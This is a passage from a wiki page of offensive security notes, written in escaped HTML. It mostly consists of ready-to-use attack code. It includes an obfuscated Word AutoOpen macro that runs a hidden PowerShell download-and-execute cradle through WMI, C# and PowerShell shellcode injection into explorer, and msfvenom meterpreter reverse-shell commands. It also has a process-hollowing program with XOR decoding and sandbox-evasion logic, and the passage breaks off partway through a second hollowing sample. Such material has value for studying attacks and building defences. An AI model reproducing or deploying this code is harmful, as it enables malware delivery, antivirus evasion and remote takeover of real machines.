&lt;br /&gt;
=== Obfuscated version of WMI ===&lt;br /&gt;
&lt;br /&gt;
* First we&#039;ll convert the strings using &#039;&#039;ToCharArray. &#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* The code below takes the string inside the $payload and encrypt it. So the string (powershell -exec …) is encrypted, not the content of run.txt).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$payload = &amp;quot;powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&amp;quot;&lt;br /&gt;
[string]$output = &amp;quot;&amp;quot;&lt;br /&gt;
$payload.ToCharArray() | %{&lt;br /&gt;
    [string]$thischar = [byte][char]$_ + 17&lt;br /&gt;
    if($thischar.Length -eq 1)&lt;br /&gt;
    {&lt;br /&gt;
        $thischar = [string]&amp;quot;00&amp;quot; + $thischar&lt;br /&gt;
        $output += $thischar&lt;br /&gt;
    }&lt;br /&gt;
    elseif($thischar.Length -eq 2)&lt;br /&gt;
    {&lt;br /&gt;
        $thischar = [string]&amp;quot;0&amp;quot; + $thischar&lt;br /&gt;
        $output += $thischar&lt;br /&gt;
    }&lt;br /&gt;
    elseif($thischar.Length -eq 3)&lt;br /&gt;
    {&lt;br /&gt;
        $output += $thischar&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
$output | clip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The code below is the decryption routine.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Function Pears(Beets)&lt;br /&gt;
    Pears = Chr(Beets - 17)&lt;br /&gt;
End Function&lt;br /&gt;
Function Strawberries(Grapes)&lt;br /&gt;
    Strawberries = Left(Grapes, 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Almonds(Jelly)&lt;br /&gt;
    Almonds = Right(Jelly, Len(Jelly) - 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Nuts(Milk)&lt;br /&gt;
    Do&lt;br /&gt;
        Oatmilk = Oatmilk + Pears(Strawberries(Milk))&lt;br /&gt;
        Milk = Almonds(Milk)&lt;br /&gt;
    Loop While Len(Milk) &amp;gt; 0&lt;br /&gt;
    Nuts = Oatmilk&lt;br /&gt;
End Function&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* So combined together with &amp;lt;code&amp;gt;Unlinking Powershell from Word&amp;lt;/code&amp;gt; code above, we will get this&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Function Pears(Beets)&lt;br /&gt;
    Pears = Chr(Beets - 17)&lt;br /&gt;
End Function&lt;br /&gt;
Function Strawberries(Grapes)&lt;br /&gt;
    Strawberries = Left(Grapes, 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Almonds(Jelly)&lt;br /&gt;
    Almonds = Right(Jelly, Len(Jelly) - 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Nuts(Milk)&lt;br /&gt;
    Do&lt;br /&gt;
        Oatmilk = Oatmilk + Pears(Strawberries(Milk))&lt;br /&gt;
        Milk = Almonds(Milk)&lt;br /&gt;
    Loop While Len(Milk) &amp;gt; 0&lt;br /&gt;
    Nuts = Oatmilk&lt;br /&gt;
End Function&lt;br /&gt;
Function MyMacro()&lt;br /&gt;
    Dim Apples As String&lt;br /&gt;
    Dim Water As String&lt;br /&gt;
    &#039;powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&lt;br /&gt;
    Apples = &amp;quot;129128136118131132121118125125049062118137118116049115138129114132132049062127128129049062136049121122117117118127049062116049122118137057057127118136062128115123118116133049132138132133118126063127118133063136118115116125122118127133058063117128136127125128114117132133131122127120057056121133133129075064064066074067063066071073063066063066067071064131134127063129132066056058058&amp;quot;&lt;br /&gt;
    Water = Nuts(Apples)&lt;br /&gt;
&#039; GetObject(&amp;quot;winmgmts:&amp;quot;).Get(&amp;quot;Win32_Process&amp;quot;).Create strArg, Null, Null, pid&lt;br /&gt;
            GetObject(Nuts(&amp;quot;136122127126120126133132075&amp;quot;)).Get(Nuts(&amp;quot;104122127068067112097131128116118132132&amp;quot;)).Create Water, Tea, Coffee, Napkin&lt;br /&gt;
End Function&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Process Injection ==&lt;br /&gt;
&lt;br /&gt;
=== Csharp ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // Import necessary functions from kernel32.dll&lt;br /&gt;
        // Opens an existing local process object&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        // Reserves or commits a region of memory within the virtual address space of a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        // Writes data to an area of memory in a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        // Creates a thread that runs in the virtual address space of another process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Obtain a handle to the target process. Remeber to change the process ID(4804)&lt;br /&gt;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, 4804);&lt;br /&gt;
            // Allocate memory in the target process&#039;s address space&lt;br /&gt;
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            // Define the shellcode bytes to inject&lt;br /&gt;
            byte[] buf = new byte[591]&lt;br /&gt;
            {&lt;br /&gt;
                0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,&lt;br /&gt;
                // ... (rest of the shellcode)&lt;br /&gt;
            };&lt;br /&gt;
            // Write the shellcode to the allocated memory in the target process&lt;br /&gt;
            IntPtr outSize;&lt;br /&gt;
            WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);&lt;br /&gt;
            // Create a remote thread in the target process to execute the shellcode&lt;br /&gt;
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Csharp - But automatically get process ID ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // Import necessary functions from kernel32.dll&lt;br /&gt;
        // Opens an existing local process object&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        // Reserves or commits a region of memory within the virtual address space of a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        // Writes data to an area of memory in a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        // Creates a thread that runs in the virtual address space of another process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
	// Automatically obtain process ID&lt;br /&gt;
            Process[] localByName = Process.GetProcessesByName(&amp;quot;explorer&amp;quot;);&lt;br /&gt;
            if (localByName.Length == 0)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;No explorer process found.&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            int targetProcessId = localByName[0].Id;&lt;br /&gt;
            // Obtain a handle to the target process&lt;br /&gt;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetProcessId);&lt;br /&gt;
            // Allocate memory in the target process&#039;s address space&lt;br /&gt;
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            // Define the shellcode bytes to inject&lt;br /&gt;
            byte[] buf = new byte[510] {0xfc,0x48,0x83,0xe4,0xf0,0xe8... [Rest of the shellcode]&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
            // Write the shellcode to the allocated memory in the target process&lt;br /&gt;
            IntPtr outSize;&lt;br /&gt;
            WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);&lt;br /&gt;
            // Create a remote thread in the target process to execute the shellcode&lt;br /&gt;
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
    Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {$tmp+=$_}}&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
    [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
    DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
    DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
    [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
$procId = (Get-Process explorer).Id&lt;br /&gt;
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.67 LPORT=443 EXITFUNC=thread -f ps1&lt;br /&gt;
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4...[REST OF SHELLCODE]&lt;br /&gt;
# C#: IntPtr hProcess = OpenProcess(ProcessAccessFlags.All, false, procId);&lt;br /&gt;
$hProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess),&lt;br /&gt;
  (getDelegateType @([UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke(0x001F0FFF, 0, $procId)&lt;br /&gt;
# C#: IntPtr expAddr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)len, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite);&lt;br /&gt;
$expAddr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAllocEx),&lt;br /&gt;
  (getDelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, [UInt32]$buf.Length, 0x3000, 0x40)&lt;br /&gt;
# C#: bool procMemResult = WriteProcessMemory(hProcess, expAddr, buf, len, out bytesWritten);&lt;br /&gt;
$procMemResult = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WriteProcessMemory),&lt;br /&gt;
  (getDelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [IntPtr])([Bool]))).Invoke($hProcess, $expAddr, $buf, [Uint32]$buf.Length, [IntPtr]::Zero)&lt;br /&gt;
# C#: IntPtr threadAddr = CreateRemoteThread(hProcess, IntPtr.Zero, 0, expAddr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateRemoteThread),&lt;br /&gt;
  (getDelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, 0, $expAddr, 0, [IntPtr]::Zero)&lt;br /&gt;
Write-Host &amp;quot;Injected! Check your listener!&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Process Hollowing ==&lt;br /&gt;
&lt;br /&gt;
Process Hollowing is a method used by attackers to inject malicious code into a legitimate process while keeping the process running. This allows the attacker to hide their activities within a trusted process, potentially evading detection.&lt;br /&gt;
&lt;br /&gt;
=== Stageless XOR&#039;d ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace ProcessHollowing&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public const uint CREATE_SUSPENDED = 0x4;&lt;br /&gt;
        public const int PROCESSBASICINFORMATION = 0;&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]&lt;br /&gt;
        public struct ProcessInfo&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public Int32 ProcessId;&lt;br /&gt;
            public Int32 ThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]&lt;br /&gt;
        public struct StartupInfo&lt;br /&gt;
        {&lt;br /&gt;
            public uint cb;&lt;br /&gt;
            public string lpReserved;&lt;br /&gt;
            public string lpDesktop;&lt;br /&gt;
            public string lpTitle;&lt;br /&gt;
            public uint dwX;&lt;br /&gt;
            public uint dwY;&lt;br /&gt;
            public uint dwXSize;&lt;br /&gt;
            public uint dwYSize;&lt;br /&gt;
            public uint dwXCountChars;&lt;br /&gt;
            public uint dwYCountChars;&lt;br /&gt;
            public uint dwFillAttribute;&lt;br /&gt;
            public uint dwFlags;&lt;br /&gt;
            public short wShowWindow;&lt;br /&gt;
            public short cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct ProcessBasicInfo&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr Reserved1;&lt;br /&gt;
            public IntPtr PebAddress;&lt;br /&gt;
            public IntPtr Reserved2;&lt;br /&gt;
            public IntPtr Reserved3;&lt;br /&gt;
            public IntPtr UniquePid;&lt;br /&gt;
            public IntPtr MoreReserved;&lt;br /&gt;
        }&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern void Sleep(uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Ansi)]&lt;br /&gt;
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes,&lt;br /&gt;
            IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,&lt;br /&gt;
            [In] ref StartupInfo lpStartupInfo, out ProcessInfo lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;ntdll.dll&amp;quot;, CallingConvention = CallingConvention.StdCall)]&lt;br /&gt;
        private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass,&lt;br /&gt;
            ref ProcessBasicInfo procInformation, uint ProcInfoLen, ref uint retlen);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer,&lt;br /&gt;
            int dwSize, out IntPtr lpNumberOfbytesRW);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern uint ResumeThread(IntPtr hThread);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // AV evasion: Sleep for 10s and detect if time really passed&lt;br /&gt;
            DateTime t1 = DateTime.Now;&lt;br /&gt;
            Sleep(10000);&lt;br /&gt;
            double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;&lt;br /&gt;
            if (deltaT &amp;lt; 9.5)&lt;br /&gt;
            {&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
            // XORed with key 0xfa&lt;br /&gt;
            byte[] buf = new byte[511] {&lt;br /&gt;
            0x06, ...SHELLCODE HERE&lt;br /&gt;
            };&lt;br /&gt;
            // Start &#039;svchost.exe&#039; in a suspended state&lt;br /&gt;
            StartupInfo sInfo = new StartupInfo();&lt;br /&gt;
            ProcessInfo pInfo = new ProcessInfo();&lt;br /&gt;
            bool cResult = CreateProcess(null, &amp;quot;c:\\windows\\system32\\svchost.exe&amp;quot;, IntPtr.Zero, IntPtr.Zero,&lt;br /&gt;
                false, CREATE_SUSPENDED, IntPtr.Zero, null, ref sInfo, out pInfo);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Started &#039;svchost.exe&#039; in a suspended state with PID {pInfo.ProcessId}. Success: {cResult}.&amp;quot;);&lt;br /&gt;
            // Get Process Environment Block (PEB) memory address of suspended process (offset 0x10 from base image)&lt;br /&gt;
            ProcessBasicInfo pbInfo = new ProcessBasicInfo();&lt;br /&gt;
            uint retLen = new uint();&lt;br /&gt;
            long qResult = ZwQueryInformationProcess(pInfo.hProcess, PROCESSBASICINFORMATION, ref pbInfo, (uint)(IntPtr.Size * 6), ref retLen);&lt;br /&gt;
            IntPtr baseImageAddr = (IntPtr)((Int64)pbInfo.PebAddress + 0x10);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got process information and located PEB address of process at {&amp;quot;0x&amp;quot; + baseImageAddr.ToString(&amp;quot;x&amp;quot;)}. Success: {qResult == 0}.&amp;quot;);&lt;br /&gt;
            // Get entry point of the actual process executable&lt;br /&gt;
            // This one is a bit complicated, because this address differs for each process (due to Address Space Layout Randomization (ASLR))&lt;br /&gt;
            // From the PEB (address we got in last call), we have to do the following:&lt;br /&gt;
            // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing&lt;br /&gt;
            // 2. Read the field &#039;e_lfanew&#039;, 4 bytes at offset 0x3C from executable address to get the offset for the PE header&lt;br /&gt;
            // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset&lt;br /&gt;
            // 4. Read the value at the RVA offset address to get the offset of the executable entrypoint from the executable address&lt;br /&gt;
            // 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!&lt;br /&gt;
            // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing&lt;br /&gt;
            byte[] procAddr = new byte[0x8];&lt;br /&gt;
            byte[] dataBuf = new byte[0x200];&lt;br /&gt;
            IntPtr bytesRW = new IntPtr();&lt;br /&gt;
            bool result = ReadProcessMemory(pInfo.hProcess, baseImageAddr, procAddr, procAddr.Length, out bytesRW);&lt;br /&gt;
            IntPtr executableAddress = (IntPtr)BitConverter.ToInt64(procAddr, 0);&lt;br /&gt;
            result = ReadProcessMemory(pInfo.hProcess, executableAddress, dataBuf, dataBuf.Length, out bytesRW);&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: Executable base address: {&amp;quot;0x&amp;quot; + executableAddress.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 2. Read the field &#039;e_lfanew&#039;, 4 bytes (UInt32) at offset 0x3C from executable address to get the offset for the PE header&lt;br /&gt;
            uint e_lfanew = BitConverter.ToUInt32(dataBuf, 0x3c);&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: e_lfanew offset: {&amp;quot;0x&amp;quot; + e_lfanew.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset&lt;br /&gt;
            uint rvaOffset = e_lfanew + 0x28;&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: RVA offset: {&amp;quot;0x&amp;quot; + rvaOffset.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 4. Read the 4 bytes (UInt32) at the RVA offset to get the offset of the executable entrypoint from the executable address&lt;br /&gt;
            uint rva = BitConverter.ToUInt32(dataBuf, (int)rvaOffset);&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: RVA value: {&amp;quot;0x&amp;quot; + rva.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!&lt;br /&gt;
            IntPtr entrypointAddr = (IntPtr)((Int64)executableAddress + rva);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got executable entrypoint address: {&amp;quot;0x&amp;quot; + entrypointAddr.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // Carrying on, decode the XOR payload&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;XOR-decoded payload.&amp;quot;);&lt;br /&gt;
            // Overwrite the memory at the identified address to &#039;hijack&#039; the entrypoint of the executable&lt;br /&gt;
            result = WriteProcessMemory(pInfo.hProcess, entrypointAddr, buf, buf.Length, out bytesRW);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Overwrote entrypoint with payload. Success: {result}.&amp;quot;);&lt;br /&gt;
            // Resume the thread to trigger our payload&lt;br /&gt;
            uint rResult = ResumeThread(pInfo.hThread);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Triggered payload. Success: {rResult == 1}. Check your listener!&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stageless 2 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
//https://github.com/mvelazc0/defcon27_csharp_workshop/tree/master/Labs/lab7&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading;&lt;br /&gt;
&lt;br /&gt;
public class Program&lt;br /&gt;
{&lt;br /&gt;
    const int PROCESS_CREATE_THREAD = 0x0002;&lt;br /&gt;
    const int PROCESS_QUERY_INFORMATION = 0x0400;&lt;br /&gt;
    const int PROCESS_VM_OPERATION = 0x0008;&lt;br /&gt;
    const int PROCESS_VM_WRITE = 0x0020;&lt;br /&gt;
    const int PROCESS_VM_READ = 0x0010;&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-openthread&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    //static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId);&lt;br /&gt;
    static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-suspendthread&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern uint SuspendThread(IntPtr hThread);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-resumethread&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern int ResumeThread(IntPtr hThread);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-zwunmapviewofsection&lt;br /&gt;
    [DllImport(&amp;quot;ntdll.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
    private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);&lt;br /&gt;
&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    //public static extern IntPtr VirtualAllocEx(IntPtr lpHandle,IntPtr lpAddress, IntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);&lt;br /&gt;
    public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject&lt;br /&gt;
    [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
